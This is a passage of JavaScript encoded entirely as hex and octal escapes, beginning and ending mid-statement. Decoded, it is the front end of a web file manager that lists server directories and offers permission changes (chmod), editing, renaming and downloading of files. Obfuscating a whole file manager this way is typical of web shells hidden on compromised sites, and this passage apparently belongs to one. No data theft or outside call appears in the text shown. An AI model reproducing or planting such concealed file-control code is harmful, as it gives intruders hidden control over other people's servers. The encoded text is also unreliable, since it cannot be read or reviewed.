\x20\x20\40\x73\150\x6f\167\x54\157\141\163\x74\x28\47\x43\x6f\156\156\x65\x63\164\x69\x6f\156\x20\145\162\x72\x6f\x72\72\x20\47\40\53\x20\145\56\155\x65\x73\x73\141\147\x65\54\40\47\145\162\x72\x6f\162\47\x29\x3b\15\12\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\x20\40\x72\x65\x74\x75\x72\156\x20\156\x75\x6c\x6c\73\15\xa\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x7d\15\12\x20\x20\40\x20\40\x20\x20\x20\x7d\15\xa\xd\12\40\x20\x20\x20\40\40\40\x20\141\x73\x79\156\143\x20\x66\x75\x6e\143\x74\151\157\x6e\40\154\x6f\x61\x64\x46\x69\x6c\145\x73\x28\x70\141\164\150\40\75\x20\47\47\x29\40\173\xd\12\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x63\157\156\163\164\x20\x72\x65\163\165\x6c\164\40\x3d\x20\x61\x77\x61\x69\x74\40\141\152\x61\170\50\47\154\x69\x73\164\x27\x2c\x20\x7b\x20\160\x61\164\x68\72\40\160\141\x74\x68\x20\174\x7c\x20\x69\156\x69\x74\151\x61\x6c\x50\x61\164\150\x20\x7d\51\x3b\15\12\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x69\x66\40\50\x72\x65\163\x75\154\x74\x20\46\x26\x20\x72\145\163\165\154\x74\x2e\x73\x75\143\143\x65\x73\x73\x29\x20\x7b\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\40\143\x75\162\x72\145\x6e\164\120\141\x74\x68\40\75\40\162\x65\x73\165\154\164\56\x63\165\x72\162\x65\156\164\120\x61\x74\150\73\15\12\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x69\146\x20\50\41\x68\x6f\155\145\x50\x61\x74\x68\x29\x20\150\157\x6d\145\120\x61\x74\x68\x20\75\40\x69\156\x69\164\x69\141\x6c\x50\x61\x74\x68\x3b\15\12\15\12\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\40\40\x75\x70\x64\x61\x74\145\120\141\164\x68\x42\162\x65\141\144\x63\x72\x75\x6d\x62\50\51\x3b\xd\12\x20\40\40\40\40\x20\40\40\x20\40\x20\40\x20\40\40\40\x75\x70\144\x61\x74\x65\103\165\162\162\x65\156\164\x50\141\x74\150\x28\x29\x3b\xd\xa\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x64\151\x73\x70\154\x61\x79\106\x69\154\145\163\50\x72\145\x73\165\x6c\164\x2e\x66\151\154\x65\x73\x29\73\15\12\xd\12\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\x20\40\x20\x63\157\156\163\x74\x20\x73\x65\x6c\145\143\x74\x41\x6c\154\40\75\x20\144\x6f\143\165\x6d\x65\x6e\x74\56\147\x65\164\105\154\x65\155\145\x6e\164\102\x79\x49\144\x28\47\x73\x65\x6c\145\x63\164\101\154\154\47\x29\x3b\xd\xa\40\40\40\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\x69\x66\40\x28\x73\x65\154\x65\143\164\101\154\x6c\51\40\163\x65\154\145\x63\164\x41\154\x6c\x2e\143\150\x65\x63\x6b\x65\144\40\75\40\x66\141\154\x73\x65\x3b\15\12\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x75\x70\144\x61\x74\x65\123\145\154\x65\143\164\x65\x64\x49\x74\x65\155\x73\50\51\x3b\15\12\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\175\x20\145\154\x73\145\x20\173\xd\12\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x73\x68\157\x77\124\x6f\x61\x73\x74\50\x72\x65\163\165\154\164\77\x2e\155\145\x73\x73\141\147\145\40\x7c\x7c\40\x27\x46\141\151\x6c\x65\144\40\x74\x6f\x20\154\157\141\x64\x20\146\151\154\145\163\47\x2c\x20\47\145\162\x72\x6f\x72\47\51\73\15\xa\x20\40\40\40\x20\x20\x20\40\40\x20\x20\40\x7d\xd\xa\x20\40\40\40\40\x20\40\x20\x7d\xd\xa\xd\xa\40\x20\x20\40\x20\40\x20\x20\x66\165\156\143\x74\151\x6f\156\x20\x75\160\x64\x61\164\145\120\x61\164\x68\102\x72\x65\141\144\143\162\x75\x6d\x62\50\x29\40\173\15\xa\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\143\x6f\156\x73\x74\x20\x62\162\x65\x61\x64\143\162\x75\155\x62\40\x3d\x20\144\157\x63\165\x6d\x65\x6e\x74\x2e\x67\x65\x74\x45\x6c\145\x6d\x65\156\x74\x42\x79\111\144\50\47\x70\x61\x74\150\102\162\145\141\144\x63\162\165\155\142\47\51\x3b\15\xa\x20\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\x62\162\x65\141\144\x63\x72\165\155\142\56\151\156\156\145\x72\x48\124\115\x4c\40\x3d\40\x27\x27\73\xd\xa\15\xa\40\40\x20\x20\40\x20\x20\40\40\x20\40\40\x63\x6f\x6e\163\164\x20\x6c\141\x62\145\x6c\x20\x3d\x20\144\157\x63\165\x6d\145\x6e\164\56\143\x72\145\x61\x74\145\x45\x6c\145\x6d\x65\x6e\x74\50\47\x73\x70\x61\156\x27\x29\73\xd\xa\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\154\x61\x62\x65\x6c\56\164\145\170\x74\x43\157\x6e\164\x65\x6e\x74\40\x3d\40\x27\116\141\166\x69\147\x61\x74\145\x20\x44\151\162\x65\x63\164\157\162\171\x3a\47\x3b\xd\xa\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\154\141\x62\x65\154\x2e\x73\x74\171\154\x65\56\x6d\x61\162\147\x69\156\x52\x69\147\150\164\40\x3d\x20\47\70\160\170\47\x3b\15\xa\40\40\40\x20\40\x20\40\40\40\40\x20\40\142\x72\145\x61\x64\143\x72\165\155\142\56\141\160\160\x65\156\144\x43\150\151\x6c\x64\x28\154\141\x62\x65\x6c\x29\73\xd\xa\xd\12\x20\40\x20\40\40\40\40\x20\x20\x20\40\x20\154\145\164\40\x6e\x6f\x72\155\x20\x3d\x20\143\165\162\x72\145\156\x74\120\141\x74\150\x2e\162\145\160\x6c\141\143\x65\50\57\x5c\134\57\147\x2c\40\47\x2f\47\51\73\15\12\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\143\157\156\x73\164\40\151\x73\101\142\163\x20\75\x20\x6e\157\162\x6d\56\163\164\x61\x72\x74\x73\127\x69\164\150\x28\47\x2f\x27\x29\73\15\xa\x20\40\x20\x20\x20\40\x20\40\40\40\x20\40\x63\157\x6e\163\x74\40\160\x61\162\164\163\x20\x3d\40\x6e\x6f\162\x6d\x2e\163\160\x6c\151\x74\50\x27\57\x27\51\x2e\x66\151\x6c\x74\145\x72\50\160\40\75\x3e\40\x70\x29\73\xd\xa\15\12\x20\40\x20\40\40\x20\40\40\x20\x20\40\x20\x69\x66\x20\x28\160\x61\162\164\x73\x2e\x6c\x65\x6e\x67\x74\150\40\x3d\75\75\x20\60\51\40\173\xd\xa\40\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x63\157\156\x73\164\x20\162\157\157\x74\x53\x70\141\156\40\75\x20\144\x6f\143\x75\155\145\x6e\x74\x2e\x63\162\145\x61\164\x65\x45\x6c\x65\155\x65\156\164\50\x27\x73\x70\x61\x6e\x27\x29\x3b\15\12\x20\40\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\x20\162\x6f\157\164\x53\x70\141\156\56\143\154\x61\x73\163\116\x61\x6d\x65\x20\x3d\x20\x27\160\x61\164\150\x2d\163\145\147\155\x65\x6e\x74\47\73\xd\xa\x20\x20\40\40\x20\x20\40\x20\40\40\x20\40\x20\x20\40\x20\162\157\157\x74\x53\160\141\x6e\x2e\x74\145\x78\x74\103\x6f\156\x74\x65\156\164\x20\75\x20\47\x2f\x27\73\xd\12\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\162\x6f\x6f\164\x53\160\x61\x6e\56\141\144\x64\x45\166\x65\x6e\164\x4c\x69\163\164\x65\156\145\162\x28\x27\143\x6c\x69\143\153\x27\54\40\50\51\x20\x3d\x3e\x20\154\157\x61\144\x46\151\x6c\145\163\x28\47\57\x27\x29\x29\x3b\15\xa\x20\40\x20\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\142\x72\x65\141\144\143\x72\x75\x6d\x62\x2e\141\x70\160\145\x6e\144\x43\x68\x69\154\x64\50\x72\x6f\x6f\x74\123\x70\141\x6e\51\73\15\xa\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\x72\145\164\165\162\156\x3b\15\12\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\175\15\12\xd\xa\40\x20\40\x20\40\40\x20\40\x20\x20\x20\40\x70\141\162\164\x73\56\146\157\162\105\141\x63\x68\x28\50\160\x61\162\x74\54\x20\151\x6e\x64\x65\x78\x29\40\75\x3e\x20\x7b\xd\12\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\151\146\40\50\x69\156\x64\x65\170\x20\x3e\40\x30\x29\x20\173\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\40\40\x20\40\143\157\x6e\163\x74\x20\163\x65\160\40\x3d\40\x64\157\x63\x75\x6d\145\156\x74\x2e\143\x72\145\x61\164\x65\x45\154\x65\155\x65\x6e\164\x28\47\x73\160\x61\156\x27\x29\x3b\xd\12\x20\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\40\40\x20\40\x20\x20\x73\145\x70\x2e\x63\x6c\x61\163\163\x4e\141\155\x65\40\x3d\x20\x27\x70\x61\x74\x68\55\163\x65\160\141\x72\141\x74\x6f\x72\47\x3b\xd\12\x20\40\40\x20\40\40\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\x20\x73\145\160\56\x74\145\170\164\103\x6f\156\164\x65\156\x74\40\x3d\x20\x27\x2f\47\73\xd\12\x20\40\40\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\40\x62\162\145\141\x64\x63\162\x75\x6d\x62\56\x61\160\x70\145\156\144\103\150\151\x6c\x64\50\163\x65\160\51\x3b\xd\12\x20\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\40\x7d\15\12\xd\xa\x20\40\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\40\143\x6f\156\x73\x74\x20\163\x65\x67\x20\75\x20\144\x6f\x63\x75\x6d\x65\x6e\x74\56\143\162\145\141\164\145\x45\x6c\145\x6d\x65\156\164\50\47\x73\160\x61\156\47\51\73\xd\xa\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\163\x65\147\x2e\143\x6c\x61\163\x73\116\x61\x6d\145\40\75\40\x27\x70\141\164\150\55\163\145\x67\155\145\156\164\47\73\xd\xa\x20\40\40\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\x73\x65\x67\56\x74\145\x78\164\x43\157\156\x74\x65\156\164\40\75\40\x70\141\162\x74\73\xd\xa\15\xa\x20\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x20\x6c\x65\x74\40\164\x61\162\x67\x65\164\120\x61\x74\x68\x20\x3d\40\160\x61\x72\x74\163\x2e\163\x6c\151\143\x65\x28\60\54\40\x69\156\144\x65\170\40\x2b\40\61\51\x2e\152\157\x69\x6e\x28\x27\57\x27\x29\x3b\15\xa\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\151\x66\x20\50\x69\x73\x41\142\x73\51\x20\164\x61\162\x67\x65\164\x50\141\164\x68\x20\75\40\x27\57\47\40\x2b\40\x74\x61\x72\x67\x65\x74\120\141\x74\x68\x3b\xd\xa\15\xa\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\163\145\x67\x2e\x61\144\144\x45\x76\x65\x6e\164\114\x69\163\164\x65\x6e\x65\x72\x28\x27\143\154\151\143\x6b\47\x2c\40\x28\51\40\75\x3e\40\154\157\141\x64\x46\x69\x6c\x65\x73\50\164\x61\x72\147\145\x74\x50\x61\x74\150\51\51\73\xd\12\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\142\x72\x65\x61\x64\x63\162\x75\155\142\56\141\x70\x70\145\156\144\103\x68\x69\154\144\x28\163\x65\x67\51\73\xd\xa\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x7d\51\x3b\15\xa\x20\40\40\x20\x20\x20\x20\40\x7d\xd\xa\15\12\x20\40\x20\40\40\x20\40\x20\x66\165\x6e\x63\x74\x69\x6f\156\x20\x75\160\x64\141\x74\x65\103\x75\162\x72\145\x6e\164\120\141\164\x68\x28\51\x20\x7b\xd\12\x20\40\40\40\x20\40\40\40\40\x20\40\x20\x63\157\156\163\x74\40\x77\x72\x61\160\x70\145\162\40\75\x20\144\157\x63\x75\x6d\x65\x6e\x74\56\x71\x75\145\x72\x79\x53\145\154\x65\143\x74\157\x72\x28\47\x2e\143\x75\x72\x72\145\x6e\x74\55\160\x61\x74\x68\47\x29\73\xd\12\x20\40\x20\40\40\40\40\40\x20\40\40\40\x63\157\x6e\x73\164\x20\x63\165\x72\162\x65\156\164\120\x61\x74\150\124\145\x78\x74\x20\75\40\144\157\x63\x75\155\x65\156\x74\56\x67\x65\164\105\154\145\x6d\145\156\164\x42\x79\x49\144\x28\x27\143\165\x72\x72\x65\156\164\x50\141\164\x68\x54\145\170\164\x27\x29\x3b\xd\xa\40\x20\x20\x20\x20\40\x20\x20\40\40\40\x20\143\165\x72\x72\145\156\x74\x50\141\x74\x68\124\x65\170\164\x2e\151\x6e\156\145\x72\110\124\115\x4c\40\75\40\x27\47\73\xd\xa\15\xa\x20\40\x20\x20\40\x20\x20\40\40\40\40\x20\154\145\x74\x20\156\x6f\162\x6d\x20\75\40\x63\x75\x72\162\x65\156\x74\120\141\x74\x68\56\x72\x65\x70\x6c\141\x63\x65\x28\x2f\x5c\134\x2f\x67\x2c\40\47\57\x27\x29\73\xd\12\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\x63\x6f\156\163\164\x20\151\x73\x41\142\x73\x20\75\x20\156\x6f\x72\155\56\x73\x74\141\x72\164\x73\x57\x69\x74\x68\x28\x27\57\x27\51\x3b\xd\12\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\143\x6f\156\163\x74\x20\160\x61\162\x74\163\x20\x3d\40\156\x6f\162\155\x2e\x73\160\154\x69\x74\x28\47\57\47\51\56\146\x69\154\x74\x65\x72\x28\160\x20\75\x3e\x20\x70\x29\x3b\xd\12\15\xa\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\x69\x66\x20\50\x70\x61\x72\164\163\x2e\154\x65\156\x67\164\x68\40\75\75\75\40\x30\51\40\x7b\xd\12\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\x69\146\x20\x28\x77\x72\141\160\x70\145\162\51\x20\x77\x72\141\160\160\145\x72\x2e\163\x74\x79\154\145\x2e\144\x69\163\160\x6c\x61\x79\40\75\x20\x27\x6e\x6f\156\145\47\x3b\xd\xa\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\x20\x20\40\162\x65\x74\x75\x72\156\73\15\xa\x20\40\x20\x20\40\40\x20\40\40\40\40\x20\x7d\x20\145\154\x73\145\40\173\xd\xa\40\40\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\151\146\40\x28\x77\162\141\x70\x70\145\162\x29\40\167\x72\141\x70\x70\145\x72\56\x73\x74\x79\154\145\56\144\151\163\x70\x6c\141\171\40\75\x20\x27\142\154\157\x63\x6b\x27\x3b\15\12\x20\x20\x20\x20\40\40\x20\40\40\40\x20\40\x7d\15\xa\15\xa\x20\x20\40\x20\x20\40\40\40\40\40\40\x20\160\141\x72\164\x73\56\x66\x6f\162\x45\141\x63\150\x28\x28\160\x61\x72\x74\54\x20\x69\x6e\x64\x65\170\51\40\75\76\40\173\15\xa\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\x69\146\40\50\151\x6e\144\x65\170\40\x3e\x20\x30\51\x20\173\xd\12\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\40\x63\x6f\156\x73\x74\x20\163\x65\160\40\75\x20\x64\157\143\x75\x6d\x65\x6e\164\x2e\x63\x72\x65\141\164\145\x45\x6c\145\155\x65\x6e\164\50\x27\x73\160\141\x6e\47\x29\73\xd\xa\x20\x20\40\40\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\40\40\x73\x65\x70\x2e\143\x6c\x61\163\163\116\x61\155\x65\x20\75\40\x27\x70\x61\x74\x68\55\163\145\x70\x61\x72\x61\x74\x6f\x72\x27\x3b\xd\12\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\163\x65\x70\56\164\145\170\164\x43\157\156\x74\x65\156\x74\40\x3d\40\x27\x2f\47\x3b\15\xa\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\143\x75\162\162\145\156\164\120\141\164\x68\124\145\170\164\56\141\x70\160\145\x6e\144\x43\x68\151\154\x64\50\163\x65\160\x29\x3b\15\12\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\x20\175\xd\12\xd\12\40\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\x63\x6f\156\163\x74\40\x73\145\x67\x20\75\40\144\157\x63\x75\x6d\x65\x6e\164\x2e\143\162\x65\x61\164\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\160\141\156\x27\x29\x3b\xd\xa\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\40\40\x20\40\x73\x65\147\x2e\143\154\x61\x73\x73\116\x61\x6d\x65\40\x3d\40\x27\x70\141\164\150\55\x73\x65\147\x6d\x65\156\164\47\x3b\xd\xa\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\163\x65\x67\x2e\x74\x65\x78\x74\x43\157\156\x74\145\156\164\40\75\x20\x70\x61\162\x74\73\xd\xa\15\12\40\x20\40\40\40\x20\x20\40\40\40\40\40\40\40\40\x20\x6c\145\x74\40\164\141\162\x67\x65\164\120\141\164\x68\x20\75\40\x70\x61\162\x74\163\x2e\x73\154\x69\143\x65\x28\x30\54\x20\x69\x6e\144\x65\170\40\x2b\x20\x31\51\x2e\x6a\x6f\151\156\x28\47\57\x27\x29\73\15\xa\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\40\40\40\40\151\146\x20\x28\151\163\x41\142\163\51\x20\x74\x61\x72\147\145\x74\120\141\164\x68\x20\x3d\40\47\57\x27\40\53\x20\x74\x61\162\x67\145\x74\x50\141\164\150\73\xd\12\15\12\40\x20\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x73\x65\x67\x2e\x61\144\x64\x45\x76\x65\x6e\x74\114\x69\x73\164\145\156\x65\x72\x28\x27\143\154\x69\143\x6b\47\54\40\50\51\x20\x3d\76\x20\154\157\x61\144\x46\x69\154\145\163\50\164\x61\162\x67\x65\x74\120\x61\x74\150\x29\x29\x3b\15\xa\x20\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\40\x63\165\x72\162\x65\156\164\120\141\164\x68\x54\145\170\164\x2e\141\160\x70\x65\156\x64\103\150\151\154\144\x28\163\x65\x67\x29\x3b\15\12\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\175\51\73\15\xa\x20\40\x20\x20\x20\x20\40\40\x7d\xd\12\xd\12\x20\40\x20\x20\x20\40\40\40\x66\165\x6e\x63\x74\151\x6f\156\40\x64\x69\x73\160\x6c\x61\171\x46\x69\x6c\x65\163\x28\x66\x69\154\145\x73\x29\40\173\xd\xa\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\143\x6f\156\163\164\x20\x74\x62\x6f\144\171\40\x3d\x20\x64\157\143\x75\x6d\x65\x6e\164\x2e\x67\145\164\105\154\x65\155\145\156\x74\102\x79\x49\x64\50\47\146\x69\154\145\114\x69\163\164\47\51\73\15\xa\40\40\x20\40\40\x20\40\40\x20\x20\x20\40\164\x62\x6f\x64\x79\x2e\151\156\x6e\145\x72\110\124\x4d\114\40\75\x20\x27\x27\73\xd\xa\15\12\x20\x20\40\40\40\x20\x20\40\40\40\40\x20\151\146\40\x28\x21\x66\x69\154\x65\163\x2e\x6c\145\x6e\147\164\x68\x29\40\173\15\xa\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\164\142\x6f\144\x79\x2e\x69\156\156\145\162\x48\124\x4d\114\x20\75\x20\x27\x3c\x74\162\x3e\74\164\x64\40\x63\157\x6c\163\160\x61\156\x3d\42\66\42\x20\x73\x74\x79\154\x65\75\42\164\145\170\x74\x2d\141\x6c\151\x67\x6e\x3a\143\x65\156\164\145\162\x3b\143\157\x6c\x6f\162\72\x23\x38\x30\x38\x30\70\60\73\x22\x3e\x45\155\160\164\171\x20\144\x69\x72\x65\143\164\157\x72\x79\74\x2f\164\144\76\74\57\164\x72\76\47\x3b\15\xa\x20\40\x20\40\40\x20\40\40\40\x20\40\40\x20\40\x20\40\x72\145\164\165\162\156\73\xd\xa\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\x7d\15\xa\xd\12\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\x20\x66\151\154\145\163\56\x66\157\162\x45\141\143\x68\50\146\x69\154\145\x20\75\x3e\x20\173\xd\xa\40\40\x20\40\40\40\x20\40\x20\x20\40\x20\40\40\x20\40\143\157\156\163\164\40\x74\x72\40\x3d\x20\x64\x6f\x63\165\x6d\145\x6e\164\x2e\x63\x72\145\x61\164\145\x45\154\x65\155\x65\x6e\164\x28\47\164\162\47\51\73\15\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\x63\157\156\x73\x74\40\x77\162\x69\x74\x61\x62\x6c\145\103\x6c\x61\x73\x73\x20\x3d\40\146\x69\x6c\145\x2e\151\x73\137\x77\162\x69\x74\141\x62\154\145\x20\x3f\40\x27\167\x72\x69\x74\x61\142\154\x65\47\40\72\40\47\156\157\x74\55\167\x72\151\x74\x61\x62\154\145\47\73\15\12\40\40\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x63\x6f\x6e\163\x74\x20\156\x61\155\x65\x43\154\141\x73\163\x20\75\x20\x66\x69\x6c\x65\56\x69\163\137\x64\x69\162\40\77\x20\47\x66\151\154\145\55\156\x61\x6d\145\x20\x64\151\x72\47\x20\72\40\47\146\151\154\145\55\x6e\141\155\x65\47\x3b\xd\xa\40\40\x20\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x63\157\x6e\163\x74\x20\x69\163\101\x72\x63\150\151\x76\x65\x20\x3d\x20\57\134\x2e\x28\172\151\160\x7c\162\x61\x72\x7c\147\x7a\174\x74\x67\172\x7c\x62\x7a\x32\x7c\x74\x61\x72\51\44\x2f\x69\56\164\145\x73\x74\x28\146\x69\x6c\x65\56\x6e\141\x6d\145\x29\73\xd\12\xd\12\x20\40\x20\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\x74\x72\56\151\156\x6e\x65\162\x48\x54\x4d\114\x20\75\40\x60\xd\xa\x20\40\x20\40\x20\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x3c\x74\x64\x3e\x3c\x69\156\x70\x75\164\40\164\x79\160\145\x3d\42\143\x68\145\x63\153\x62\157\x78\x22\x20\143\x6c\x61\x73\163\75\x22\x66\x69\154\x65\x2d\x63\150\x65\x63\x6b\x62\157\170\x22\40\166\141\x6c\x75\x65\x3d\x22\44\x7b\x65\163\x63\141\x70\x65\x48\164\x6d\154\x28\146\151\154\x65\x2e\x6e\x61\155\x65\x29\x7d\42\76\x3c\x2f\x74\144\76\15\12\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\x20\74\x74\144\x3e\15\12\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\40\40\x3c\x61\x20\150\162\145\x66\x3d\x22\x23\42\x20\143\x6c\x61\x73\x73\x3d\42\44\173\x6e\x61\155\x65\103\154\141\163\163\x7d\x20\x24\x7b\x77\162\151\x74\141\x62\154\145\103\154\141\x73\163\x7d\42\40\144\141\x74\x61\x2d\156\x61\x6d\x65\x3d\42\44\x7b\145\x73\x63\x61\160\x65\x48\164\x6d\154\50\146\151\154\x65\56\x6e\x61\155\145\51\175\42\x20\144\x61\164\x61\55\151\x73\144\x69\162\x3d\x22\44\x7b\146\151\154\145\56\151\x73\x5f\144\151\x72\x7d\x22\76\xd\12\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\x24\x7b\x65\163\x63\141\x70\x65\110\164\155\154\50\x66\x69\154\x65\56\156\141\x6d\x65\x29\175\15\12\40\x20\x20\40\x20\40\x20\40\40\x20\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x3c\57\141\76\15\xa\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\x20\40\x20\x3c\57\164\x64\76\15\xa\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\74\164\144\x3e\x24\173\x66\x69\154\x65\x2e\163\x69\172\x65\x7d\74\x2f\164\x64\76\xd\xa\x20\40\40\40\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\74\164\x64\x3e\xd\12\x20\40\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\74\163\160\141\156\40\x63\x6c\141\163\x73\x3d\x22\x24\173\167\162\151\164\x61\x62\154\x65\x43\154\141\x73\163\175\42\40\157\156\143\154\151\x63\x6b\x3d\42\x73\x68\157\167\x43\150\x6d\x6f\144\115\157\x64\141\x6c\50\x27\44\x7b\x65\163\143\141\160\x65\x48\x74\155\154\50\146\x69\154\x65\56\156\141\155\x65\x29\x7d\x27\x2c\x20\47\44\173\146\x69\x6c\x65\x2e\160\x65\x72\155\151\163\x73\x69\x6f\156\x7d\x27\51\x22\76\15\xa\40\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\44\x7b\146\x69\x6c\x65\56\x70\x65\162\155\x69\x73\x73\x69\x6f\156\x7d\xd\xa\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\x3c\x2f\163\x70\141\156\x3e\xd\12\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\40\40\40\40\x20\x3c\x2f\x74\x64\x3e\15\xa\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\74\164\144\76\x3c\163\160\141\x6e\x3e\x24\173\146\x69\x6c\x65\x2e\x6d\x6f\x64\x69\146\151\145\x64\x7d\74\57\x73\160\141\156\x3e\74\x2f\x74\x64\x3e\15\xa\40\40\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\40\x3c\x74\144\x3e\xd\xa\x20\40\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x24\x7b\x21\146\151\x6c\145\x2e\x69\x73\137\144\151\162\x20\77\x20\140\74\142\165\x74\164\x6f\156\x20\143\154\141\x73\163\x3d\x22\141\x63\x74\151\x6f\156\x2d\x62\x74\156\42\x20\157\x6e\x63\154\151\143\x6b\x3d\42\x65\x64\x69\164\106\151\x6c\145\x28\47\44\x7b\145\x73\143\141\x70\145\110\164\x6d\x6c\x28\x66\x69\x6c\x65\x2e\156\141\155\145\51\x7d\x27\51\x22\76\x45\144\x69\164\x3c\x2f\x62\x75\x74\x74\157\156\x3e\140\40\72\40\47\x27\175\xd\xa\x20\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\74\x62\x75\x74\x74\x6f\156\x20\x63\x6c\141\163\x73\75\42\x61\143\x74\151\157\156\55\x62\x74\x6e\42\x20\x6f\x6e\x63\154\151\x63\x6b\75\42\163\150\x6f\x77\x52\145\x6e\x61\x6d\145\115\x6f\x64\141\x6c\x28\47\44\173\x65\163\143\x61\160\x65\x48\x74\x6d\154\x28\146\151\154\x65\56\156\x61\x6d\145\51\x7d\47\x29\x22\x3e\x52\145\156\x61\x6d\x65\x3c\57\142\165\x74\x74\157\x6e\x3e\15\xa\40\40\40\40\40\40\40\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x24\x7b\x21\x66\x69\154\145\56\x69\x73\x5f\144\151\162\40\77\x20\x60\74\142\x75\164\164\157\x6e\x20\x63\154\x61\163\x73\x3d\42\141\x63\x74\x69\x6f\156\55\142\164\156\42\x20\157\156\143\154\x69\143\x6b\75\42\144\157\167\x6e\154\x6f\141\144\106\151\154\145\x28\47\44\173\145\x73\x63\141\x70\145\110\164\155\x6c\50\x66\151\x6c\x65\x2e\x6e\x61\155\x65\x29\175\x27\51\42\x3e\x44\157\x77\156\x6c\x6f\x61\x64\74\x2f\x62\165\x74\x74\x6f